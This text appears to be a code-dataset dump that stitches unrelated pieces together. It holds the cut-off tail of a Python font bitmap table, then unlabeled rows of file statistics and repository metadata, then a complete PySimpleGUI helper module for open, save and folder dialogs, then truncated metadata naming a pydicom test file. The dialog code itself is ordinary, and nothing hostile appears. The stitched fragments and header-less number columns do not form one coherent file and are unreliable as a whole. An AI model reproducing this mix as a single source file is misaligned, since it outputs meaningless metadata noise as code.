(9,10,11,11,11,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,11,13,11,11,13,12,13,13,13,10,11,13,12,13,13,11,13,13,13,11,13,13,13,13,11,13,13,12,13,12,12,13,12,13,13,12,13,13,13,13,12,9,10,13,12,12,13,12,11,10,11,13,12,11,13,13,13,13,13,13,13,13,13,13,13,13,13,13,11,13,12,11,11,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,12,13,12,11,12,13,13,13,13,13,13,13,13,13,13,13,13,13,11,13,12,12,11,13,13,13,13,13,12,13,13,12,13,13,13,13,13,13,13,13,13,13,13,13,11,12,12,12,12,12,12,12,11,13,12,10,11,10,11,10,12,10,13,13,13,10,11,11,13,11,13,13,13,13,13,13,13,10,13,10,13,13,13,13,13,10,13,10,13,13,12,12,13,12,13,12,13,12,13,13,11,12,13,13,13,),
(8,10,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,9,11,11,11,11,11,9,9,11,10,11,11,9,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,10,11,11,11,11,11,11,11,10,9,8,11,11,10,11,10,9,8,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,9,11,11,11,11,11,10,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,10,10,11,10,11,11,10,9,11,10,8,10,8,10,8,10,8,11,11,11,9,10,9,11,11,11,11,11,11,11,11,11,9,11,7,11,11,11,11,11,9,11,8,11,11,10,11,11,10,11,11,11,10,11,11,11,10,11,11,11,),
(7,10,9,9,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,11,11,8,11,11,10,11,11,11,11,11,11,10,11,11,11,11,9,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,8,8,11,10,10,11,10,10,9,11,11,10,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,9,10,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,10,11,10,10,11,10,11,10,8,10,8,10,8,11,8,11,11,11,9,9,10,11,11,11,11,11,11,11,11,11,7,11,9,11,11,11,11,11,7,11,10,11,11,11,10,11,11,11,10,11,11,11,11,10,11,11,11,11,),
(10,10,9,10,10,10,10,10,9,10,10,10,10,7,8,10,10,10,10,10,10,10,10,6,9,10,10,10,10,8,9,8,9,10,8,7,10,7,9,10,10,9,9,10,9,9,10,10,7,8,9,8,7,10,8,8,8,9,10,8,9,10,8,7,9,10,9,10,9,9,8,10,9,10,10,9,9,10,10,10,10,10,7,7,7,6,7,10,10,10,9,9,10,9,10,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,8,10,10,9,9,8,7,7,8,7,8,9,9,9,9,9,9,8,10,8,6,9,8,8,7,8,9,7,6,10,7,9,8,9,9,9,9,9,9,9,9,9,9,9,9,8,10,8,10,8,9,7,8,10,10,9,8,10,7,10,6,10,8,7,10,6,9,9,10,9,9,9,9,8,6,7,6,10,10,10,9,7,7,8,6,10,10,10,10,8,7,8,7,7,10,10,7,10,7,8,8,8,7,10,10,10,),
(8,10,10,10,9,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,8,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,9,10,10,10,10,10,9,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,8,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,9,10,10,7,10,7,10,10,10,10,10,10,9,10,10,10,10,10,10,10,10,10,10,10,10,9,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,),
(9,11,10,10,10,11,10,11,10,11,11,10,10,8,9,11,11,11,11,10,11,11,10,10,10,11,10,11,11,9,8,10,10,11,9,9,11,10,10,11,11,10,10,11,10,10,11,11,9,9,10,9,10,11,9,9,10,10,11,9,9,11,9,8,10,10,10,10,10,8,9,10,10,10,10,10,10,11,11,11,11,11,8,8,8,8,8,11,11,11,10,9,11,10,11,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,9,10,9,10,10,9,8,8,9,8,9,10,10,10,10,10,10,9,11,8,8,9,10,9,9,9,10,8,8,11,8,10,10,10,10,10,10,10,10,10,10,10,10,10,10,9,11,9,10,9,8,8,9,11,11,10,9,11,7,11,6,11,8,8,11,8,10,10,11,10,10,10,10,9,9,8,8,11,11,11,10,8,9,8,10,11,11,10,11,9,10,9,8,8,9,11,8,10,9,9,9,9,9,11,11,11,),
(11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,9,11,11,10,11,10,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,8,11,9,10,8,11,8,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
(8,10,9,10,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,10,11,11,11,11,11,11,10,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,8,8,11,11,10,11,10,10,9,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,11,10,11,11,11,11,10,11,10,8,10,8,10,8,11,8,11,11,11,9,9,10,11,11,11,11,11,11,11,11,11,8,11,9,11,11,11,11,11,8,11,10,11,11,11,11,11,11,11,11,11,11,11,11,10,11,11,11,11,),
(6,8,8,8,8,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,9,10,9,9,10,9,10,10,10,7,9,10,9,10,10,9,10,10,10,9,10,10,10,10,8,10,10,10,10,9,10,10,10,10,10,9,10,10,10,10,10,7,7,10,9,9,10,9,9,7,9,10,9,8,10,10,10,10,10,10,10,10,10,10,10,10,10,10,9,10,9,9,9,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,9,8,9,10,10,10,10,10,10,10,10,10,10,10,10,10,8,10,10,9,8,10,10,10,10,10,9,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,8,10,10,9,10,9,9,10,9,10,9,7,9,7,9,7,10,7,10,10,10,8,8,8,10,9,10,10,10,10,10,10,10,8,10,7,10,10,10,10,10,8,10,8,10,10,10,9,10,10,10,9,10,10,10,10,9,10,10,10,10,),
(7,8,7,7,8,10,10,10,10,10,10,10,10,9,7,10,10,10,10,10,10,9,10,9,9,10,7,10,10,10,7,9,9,8,10,10,9,10,9,10,9,10,10,10,9,7,10,10,10,9,9,10,10,10,10,10,9,10,10,7,10,10,7,7,10,7,9,7,9,9,7,9,8,8,7,10,10,10,10,10,10,10,9,9,9,9,9,10,10,9,10,9,9,9,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,9,10,10,8,7,7,7,9,8,9,8,10,10,10,10,10,10,10,10,8,7,10,9,8,8,8,9,8,8,9,9,10,10,10,10,10,10,10,10,10,10,10,10,10,10,7,10,10,8,10,7,8,10,9,10,9,6,9,7,9,7,10,6,9,10,8,8,7,8,10,9,10,10,10,10,9,7,10,8,10,7,9,10,9,10,10,8,10,8,10,10,10,7,9,10,10,8,7,10,10,10,9,10,10,10,8,),
(7,8,9,9,8,10,10,7,10,10,10,10,10,10,10,10,10,10,10,10,10,9,10,7,7,10,10,10,10,10,8,7,10,9,10,9,7,8,10,10,8,10,10,10,10,9,10,10,10,9,10,10,7,7,9,10,9,10,10,10,9,7,7,7,9,10,9,10,9,7,7,7,8,10,9,10,10,10,10,10,10,10,10,10,10,9,10,10,10,9,9,10,7,7,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,9,10,10,9,10,10,10,10,10,10,10,10,10,10,10,10,10,10,9,7,8,9,8,8,8,9,8,8,9,9,10,9,10,10,10,10,10,10,10,10,10,10,10,10,9,9,8,9,8,10,10,7,7,10,9,7,8,7,8,7,8,7,9,10,8,8,8,7,10,9,10,10,9,7,7,9,10,7,10,8,9,10,10,9,10,7,10,7,9,10,7,10,9,8,7,10,10,8,10,10,9,9,10,10,9,),
(10,11,12,12,12,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,12,14,12,12,14,13,14,14,14,11,12,14,13,14,14,12,14,14,14,12,14,14,14,14,12,14,14,13,14,13,13,14,13,14,14,13,14,14,14,14,13,10,11,14,13,13,14,13,12,11,12,14,13,12,14,14,14,14,14,14,14,14,14,14,14,14,14,14,12,14,13,12,12,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,13,14,13,12,13,14,14,14,14,14,14,14,14,14,14,14,14,14,12,14,13,13,12,14,14,14,14,14,13,14,14,13,14,14,14,14,14,14,14,14,14,14,14,14,12,13,13,13,13,13,13,13,12,14,13,11,12,11,12,11,13,11,14,14,14,11,12,12,14,12,14,14,14,14,14,14,14,11,14,11,14,14,14,14,14,11,14,11,14,14,13,13,14,13,14,13,14,13,14,14,12,13,14,14,14,),
(9,9,8,9,9,9,9,9,9,9,9,9,9,8,7,9,9,9,9,9,9,9,9,8,8,9,9,9,9,9,8,8,8,7,9,9,8,9,8,9,8,9,9,9,8,8,9,9,9,8,8,9,9,9,9,9,8,9,9,7,9,9,7,7,9,9,8,9,8,8,6,9,8,9,9,9,9,9,9,9,9,9,8,8,8,8,8,9,9,9,9,8,8,8,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,8,9,9,8,8,7,7,8,7,8,7,9,9,9,9,9,9,9,9,7,7,9,8,7,7,7,8,7,7,9,8,9,9,9,9,9,9,9,9,9,9,9,9,9,9,7,9,9,9,9,8,7,9,8,9,8,5,9,7,8,6,9,5,8,9,7,8,7,7,9,8,9,9,9,9,8,7,9,9,9,8,8,9,8,9,9,9,9,7,9,9,9,7,8,9,9,7,9,9,9,9,8,9,9,9,8,),
(6,7,8,8,7,9,9,8,9,9,9,9,9,9,9,9,9,9,9,9,9,8,9,6,6,9,9,9,9,9,7,6,9,8,9,8,6,8,9,9,7,9,9,9,9,8,9,9,9,8,9,9,8,7,8,9,8,9,9,9,8,7,6,6,8,9,8,9,8,6,6,6,8,9,8,9,9,9,9,9,9,9,9,9,9,8,9,9,9,8,8,9,6,6,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,8,9,9,8,9,9,9,9,9,9,9,9,9,9,9,9,9,9,8,8,7,8,7,8,8,8,8,8,8,8,9,8,9,9,9,9,9,9,9,9,9,9,9,9,8,8,7,8,7,9,9,7,6,9,8,6,7,6,7,6,7,6,8,9,8,7,7,6,9,8,9,9,8,8,8,8,9,6,9,7,8,9,9,8,9,6,9,6,8,9,7,9,8,7,8,9,9,7,9,9,8,8,9,9,8,),
(5,9,5,7,7,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,5,9,9,9,6,9,9,9,9,9,9,9,9,9,9,9,9,9,9,7,9,9,9,9,8,9,9,9,9,9,9,9,9,9,9,9,9,8,9,7,9,9,9,8,9,9,9,8,7,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,8,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,8,6,8,9,9,9,9,9,9,9,9,9,9,9,9,9,7,9,9,9,7,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,7,9,9,8,9,5,7,9,9,9,8,9,9,6,9,6,9,9,9,9,9,9,7,9,9,9,9,9,9,9,9,9,9,9,9,8,9,9,9,9,9,9,9,9,9,9,9,6,9,9,9,8,9,9,9,9,8,9,9,9,9,),
(6,7,7,7,7,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,8,9,8,8,9,8,9,9,9,6,8,9,8,9,9,8,9,9,9,8,9,9,9,9,7,9,9,9,9,8,9,9,9,9,9,8,9,9,9,9,9,6,6,9,8,8,9,8,8,6,8,9,8,7,9,9,9,9,9,9,9,9,9,9,9,9,9,9,8,9,8,8,8,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,8,7,8,9,9,9,9,9,9,9,9,9,9,9,9,9,7,9,9,8,7,9,9,9,9,9,8,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,7,9,9,8,9,8,8,9,8,9,8,6,8,6,8,6,9,6,9,9,9,7,7,7,9,8,9,9,9,9,9,9,9,7,9,6,9,9,9,9,9,7,9,7,9,9,9,8,9,9,9,8,9,9,9,9,8,9,9,9,9,),
(10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,6,7,10,10,10,10,10,10,8,10,9,10,10,6,10,10,10,8,10,10,10,10,10,10,10,10,10,10,10,10,7,10,10,10,10,10,10,10,9,8,8,10,10,9,10,9,10,7,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,6,6,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,9,10,8,10,10,10,10,10,10,10,10,9,10,10,10,10,10,10,10,10,10,10,10,10,10,9,9,10,8,10,10,7,9,10,9,7,10,8,9,7,10,7,10,10,10,10,10,8,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,9,10,10,7,10,10,10,10,10,10,9,10,10,10,9,10,10,10,),
(3,5,6,6,5,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,5,3,6,6,6,6,6,4,5,6,5,6,6,1,6,6,6,5,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,4,3,6,6,5,6,5,5,3,3,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,0,0,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,4,6,6,6,6,6,5,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,5,6,5,3,5,3,5,3,6,3,6,6,6,4,5,4,6,6,6,6,6,6,6,6,6,4,6,3,6,6,6,6,6,4,6,4,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,),
(1,3,4,4,3,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,3,1,4,4,4,4,4,2,3,4,3,4,4,0,4,4,4,3,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,2,1,4,4,3,4,3,3,1,1,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,0,0,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,2,4,4,4,4,4,3,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,3,4,3,1,3,1,3,1,4,1,4,4,4,2,3,2,4,4,4,4,4,4,4,4,4,2,4,1,4,4,4,4,4,2,4,2,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,),
(5,6,7,7,6,7,7,7,7,7,7,7,7,6,7,7,7,7,7,7,7,7,7,6,6,7,7,7,7,7,5,6,7,6,7,7,6,7,7,7,6,7,7,7,7,7,7,7,7,6,7,7,7,7,7,7,7,7,7,7,7,7,5,4,7,7,6,6,6,6,4,6,5,7,7,7,7,7,7,7,7,7,6,6,6,6,6,7,7,7,7,7,6,6,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,6,6,5,6,5,7,7,7,7,7,7,7,7,7,5,7,7,5,6,5,6,5,5,6,6,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,6,6,7,6,7,6,4,6,4,6,4,7,4,6,7,5,5,6,5,7,7,7,7,7,7,6,5,7,5,7,6,6,7,7,7,7,5,7,5,7,7,7,6,6,7,7,6,7,7,7,7,7,7,7,7,6,),
(2,9,6,4,5,8,7,7,6,9,9,6,6,5,5,8,8,9,9,7,9,9,6,6,6,9,4,9,9,6,2,6,9,8,8,6,7,6,6,9,8,6,6,7,5,6,9,9,6,5,6,6,6,7,6,6,6,6,7,5,8,8,9,10,6,5,9,5,9,5,9,6,9,4,5,6,6,8,9,9,9,8,6,5,5,5,5,9,9,8,7,5,9,10,9,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,5,6,6,4,4,4,5,5,8,6,8,6,6,6,7,6,6,6,9,6,5,6,6,8,5,5,6,5,5,7,5,6,6,6,6,6,6,6,6,6,6,6,6,6,6,4,10,6,4,6,4,4,9,9,10,6,10,8,3,9,3,7,9,5,9,5,9,4,7,6,6,6,6,6,6,5,5,8,7,7,6,5,6,5,6,9,7,6,7,6,6,6,6,5,6,9,6,5,6,6,6,5,6,9,9,7,),
(11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,11,9,11,8,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
(11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,11,9,11,8,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
(14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,13,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,12,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,13,14,14,12,14,11,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,),
)
# End of font
| 56.716421
| 676
| 0.509282
| 62,935
| 254,203
| 2.05887
| 0.009693
| 0.446722
| 0.605533
| 0.746996
| 0.895937
| 0.860035
| 0.822659
| 0.781277
| 0.750353
| 0.71513
| 0
| 0.55155
| 0.241236
| 254,203
| 4,481
| 677
| 56.729078
| 0.119577
| 0.195407
| 0
| 0.799056
| 1
| 0
| 0.000065
| 0
| 0
| 0
| 0.135655
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 13
|
4c603ecaf497baae751f110345df614dc98afbca
| 42
|
py
|
Python
|
tests/unit/ff_test.py
|
gary918/ManyModelsMLOps
|
e4442f6724f022b3184d68f1f18ee7a2c160bcbf
|
[
"MIT"
] | null | null | null |
tests/unit/ff_test.py
|
gary918/ManyModelsMLOps
|
e4442f6724f022b3184d68f1f18ee7a2c160bcbf
|
[
"MIT"
] | null | null | null |
tests/unit/ff_test.py
|
gary918/ManyModelsMLOps
|
e4442f6724f022b3184d68f1f18ee7a2c160bcbf
|
[
"MIT"
] | null | null | null |
def dummyTest():
print("Passed")
| 10.5
| 23
| 0.547619
| 4
| 42
| 5.75
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.285714
| 42
| 3
| 24
| 14
| 0.766667
| 0
| 0
| 0
| 0
| 0
| 0.146341
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.5
| true
| 0.5
| 0
| 0
| 0.5
| 0.5
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 1
|
0
| 7
|
4c6aa8b205b74437c5c608b67f211fbe9d6a70ff
| 8,232
|
py
|
Python
|
psgui_util/__init__.py
|
javacommons/psgui_util
|
f98d4a2e92c55165b1d9476539a1965a2fec0b7f
|
[
"Unlicense"
] | null | null | null |
psgui_util/__init__.py
|
javacommons/psgui_util
|
f98d4a2e92c55165b1d9476539a1965a2fec0b7f
|
[
"Unlicense"
] | null | null | null |
psgui_util/__init__.py
|
javacommons/psgui_util
|
f98d4a2e92c55165b1d9476539a1965a2fec0b7f
|
[
"Unlicense"
] | null | null | null |
def _psgui_parse_file_pattern(pattern):
pattern_list = pattern.split(';')
result = []
for p in pattern_list:
if p.startswith('*.'):
result.append(p[1:])
return result
def _psgui_adjust_save_path(path, pattern):
suffix_list = _psgui_parse_file_pattern(pattern)
if len(suffix_list) == 0:
return path
for s in suffix_list:
if path.endswith(s):
return path
return path + suffix_list[0]
def psgui_get_file_name_to_open(parent=None,
pattern='*.*',
width=50,
message='Please specify the file to open',
title='Open File',
verb='Open',
old_value=None):
import PySimpleGUI as sg
import os
keep_on_top = True
if parent:
keep_on_top = False
parent.Hide()
# print(keep_on_top)
initial_folder = None
if old_value:
if old_value.strip() == '':
initial_folder = os.path.expanduser('~')
else:
old_value = os.path.abspath(old_value).replace('\\', '/')
initial_folder = os.path.dirname(old_value)
else:
initial_folder = os.path.expanduser('~')
filename = ''
while True:
event, values = sg.Window(title,
[[sg.Text(message)],
[sg.Input(filename, size=(width, 1), key='-PATH-'),
sg.FileBrowse('Browse', file_types=((pattern, pattern),),
initial_folder=initial_folder)],
[sg.Open(verb, key='-DOIT-'), sg.Cancel('Cancel', key='-CANCEL-')]],
keep_on_top=keep_on_top).read(close=True)
# print(event, values)
filename = None
if event == '-DOIT-':
filename = values['-PATH-']
filename = filename.strip()
if filename == '':
sg.popup('File name is empty')
continue
else:
abspath = os.path.abspath(filename).replace('\\', '/')
if filename != abspath:
filename = abspath
finished = False
continue
if os.path.isfile(filename):
break
else:
sg.popup('File "{}" does not exist'.format(filename))
continue
else:
break
if parent:
parent.UnHide()
return None if not filename else filename.replace('\\', '/')
def psgui_get_file_name_to_save(parent=None,
pattern='*.*',
width=50,
message='Please specify the save destination file',
title='Save as',
verb='Save',
old_value=None):
import PySimpleGUI as sg
import os
keep_on_top = True
if parent:
keep_on_top = False
parent.Hide()
# print(keep_on_top)
initial_folder = None
if old_value:
if old_value.strip() == '':
initial_folder = os.path.expanduser('~')
else:
old_value = os.path.abspath(old_value).replace('\\', '/')
initial_folder = os.path.dirname(old_value)
else:
initial_folder = os.path.expanduser('~')
filename = ''
while True:
event, values = sg.Window(title,
[[sg.Text(message)],
[sg.Input(filename, size=(width, 1), key='-PATH-'),
sg.FileSaveAs('Browse', file_types=((pattern, pattern),),
initial_folder=initial_folder)],
[sg.Open(verb, key='-DOIT-'), sg.Cancel('Cancel', key='-CANCEL-')]],
keep_on_top=keep_on_top).read(close=True)
# print(event, values)
filename = None
if event == '-DOIT-':
filename = values['-PATH-']
filename = filename.strip()
# if os.path.isfile(filename):
# break
# el
if filename == '':
sg.popup('File name is empty')
continue
else:
abspath = os.path.abspath(filename).replace('\\', '/')
abspath = _psgui_adjust_save_path(abspath, pattern)
if filename != abspath:
filename = abspath
finished = False
continue
dirname = os.path.dirname(filename)
# print(dirname)
if not os.path.exists(dirname):
if sg.popup_yes_no('Folder "{}" does not exist. Create it?'.format(dirname)):
try:
os.makedirs(dirname)
break
except Exception:
sg.popup('Folder "{}" could not be created'.format(dirname))
continue
else:
break
else:
break
else:
break
if parent:
parent.UnHide()
return None if not filename else filename.replace('\\', '/')
def psgui_get_folder_name(parent=None,
width=50,
message='Please specify a folder',
title='Folder selection',
verb='Select',
old_value=None):
import PySimpleGUI as sg
import os
keep_on_top = True
if parent:
keep_on_top = False
parent.Hide()
# print(keep_on_top)
initial_folder = None
if old_value:
if old_value.strip() == '':
initial_folder = os.path.expanduser('~')
else:
old_value = os.path.abspath(old_value).replace('\\', '/')
initial_folder = old_value
else:
initial_folder = os.path.expanduser('~')
filename = ''
while True:
event, values = sg.Window(title,
[[sg.Text(message)],
[sg.Input(filename, size=(width, 1), key='-PATH-'),
sg.FolderBrowse('Browse', initial_folder=initial_folder)],
[sg.Open(verb, key='-DOIT-'), sg.Cancel('Cancel', key='-CANCEL-')]],
keep_on_top=keep_on_top).read(close=True)
# print(event, values)
filename = None
if event == '-DOIT-':
filename = values['-PATH-']
filename = filename.strip()
if filename == '':
sg.popup('Folder name is empty')
continue
else:
abspath = os.path.abspath(filename).replace('\\', '/')
if filename != abspath:
filename = abspath
finished = False
continue
dirname = filename
# print(dirname)
if not os.path.exists(dirname):
if sg.popup_yes_no('Folder "{}" does not exist. Create it?'.format(dirname)):
try:
os.makedirs(dirname)
break
except Exception:
sg.popup('Folder "{}" could not be created'.format(dirname))
continue
else:
break
else:
break
else:
break
if parent:
parent.UnHide()
return None if not filename else filename.replace('\\', '/')
| 38.830189
| 104
| 0.436224
| 732
| 8,232
| 4.759563
| 0.146175
| 0.032721
| 0.038749
| 0.043628
| 0.858209
| 0.834386
| 0.810563
| 0.810563
| 0.810563
| 0.766361
| 0
| 0.002698
| 0.45967
| 8,232
| 211
| 105
| 39.014218
| 0.780576
| 0.023202
| 0
| 0.817708
| 0
| 0
| 0.068304
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.026042
| false
| 0
| 0.03125
| 0
| 0.09375
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
4c6cbc81ed5a3c5540084e0b27d7508f2d74a4a1
| 51,853
|
py
|
Python
|
BatchLabelMap/automatic/pydicom/tests/test_encaps.py
|
weras2/BatchLabelMap
|
56af3d20df79f6b10a5d932278a33d02020d1e59
|
[
"MIT"
] | null | null | null |
BatchLabelMap/automatic/pydicom/tests/test_encaps.py
|
weras2/BatchLabelMap
|
56af3d20df79f6b10a5d932278a33d02020d1e59
|
[
"MIT"
